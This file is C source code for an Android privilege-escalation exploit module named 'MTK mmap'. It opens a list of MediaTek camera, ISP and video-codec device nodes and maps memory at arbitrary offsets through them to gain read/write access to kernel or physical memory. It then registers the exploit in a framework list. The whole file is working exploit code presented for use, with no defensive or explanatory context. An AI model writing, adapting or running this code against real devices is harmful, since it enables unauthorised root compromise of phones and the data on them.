
#include "log.h"
#include "exploit.h"
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <string.h>

#define MTK_M4U_MAGICNO 'g'
#define MTK_M4U_T_REG_SET             _IOW(MTK_M4U_MAGICNO, 24, int)

int exploit_generic_mmap(int fd, long addr, long size, void **mapped) {
    unsigned long page_size, mapped_offset, mapped_size;

    page_size = sysconf(_SC_PAGESIZE);
    mapped_offset = addr & ( ~(page_size - 1));
    mapped_size = ((addr + size) | (page_size - 1)) + 1 - mapped_offset;
    *mapped = mmap(0, mapped_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mapped_offset);
    if (*mapped != MAP_FAILED)
        return 0;
    if (addr + size <= ~(page_size - 1)) {
        mapped_offset = ~(page_size - 1);
        mapped_size = ((addr + size) | (page_size - 1)) + 1;
        *mapped = mmap(0, mapped_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mapped_offset);
        if (*mapped != MAP_FAILED)
            return 0;
    }
    return -1;
}


struct private_data_mmap {
    int fd;
    void *mapped;
    int size;
    int index;
};

static int mtk_mmap_init(void **opaque) {
    struct private_data_mmap *p;

    *opaque = malloc(sizeof(struct private_data_mmap));
    if (!*opaque)
        return -1;
    p = (struct private_data_mmap *)(*opaque);
    p->fd = -1;
    p->mapped = MAP_FAILED;
    p->size = 0;
    p->index = 0;
    return 0;
}


/**
 * 尝试去创建这些设备的内存映射，成功返回地址
 * */
static void *mtk_mmap_mmap(void *opaque, long addr, long size) {
    struct private_data_mmap *p = (struct private_data_mmap *) opaque;
    const char *devices[] = {
        "/dev/camera-sysram",
        "/dev/camera-isp",
        "/dev/mt6573-SYSRAM",
        "/dev/mt6573-MDP",
        "/dev/mt6575-SYSRAM",
        "/dev/mt6575-isp",
        "/dev/mt6575-MDP",
        "/dev/mt6575-eis",
        "/dev/camera-eis",
        "/dev/Vcodec",
        0
    };
    int rc, fd, i;

    p->mapped = MAP_FAILED;
    p->size = 0;
    for (i = p->index; devices[i]; i++) {
        fd = open(devices[i], O_RDWR);
        if (fd < 0) {
            // LOGE("open()");
            continue;
        }
        rc = exploit_generic_mmap(fd, addr, size, &p->mapped);
        if (!rc) {
            p->index = i + 1;
            p->size = size;
            return p->mapped;
        }
        close(fd);
    }
    return MAP_FAILED;
}

static void mtk_mmap_free(void **opaque) {
    struct private_data_mmap *p = (struct private_data_mmap *)(*opaque);

    if (p->mapped && p->mapped != MAP_FAILED) {
        munmap(p->mapped, p->size);
    }
    if (p->fd >= 0)
        close(p->fd);
    free(p);
}

exploit_t EXPLOIT_mtk_mmap = {
    .name = "MTK mmap",
    .init = mtk_mmap_init,
    .free = mtk_mmap_free,
    .mmap = mtk_mmap_mmap,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(mtk_mmap);

//    switch (g_type) {
//
//    case S_MTK_3:
//    	ADDEXP(mtk_mmap);
//    	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
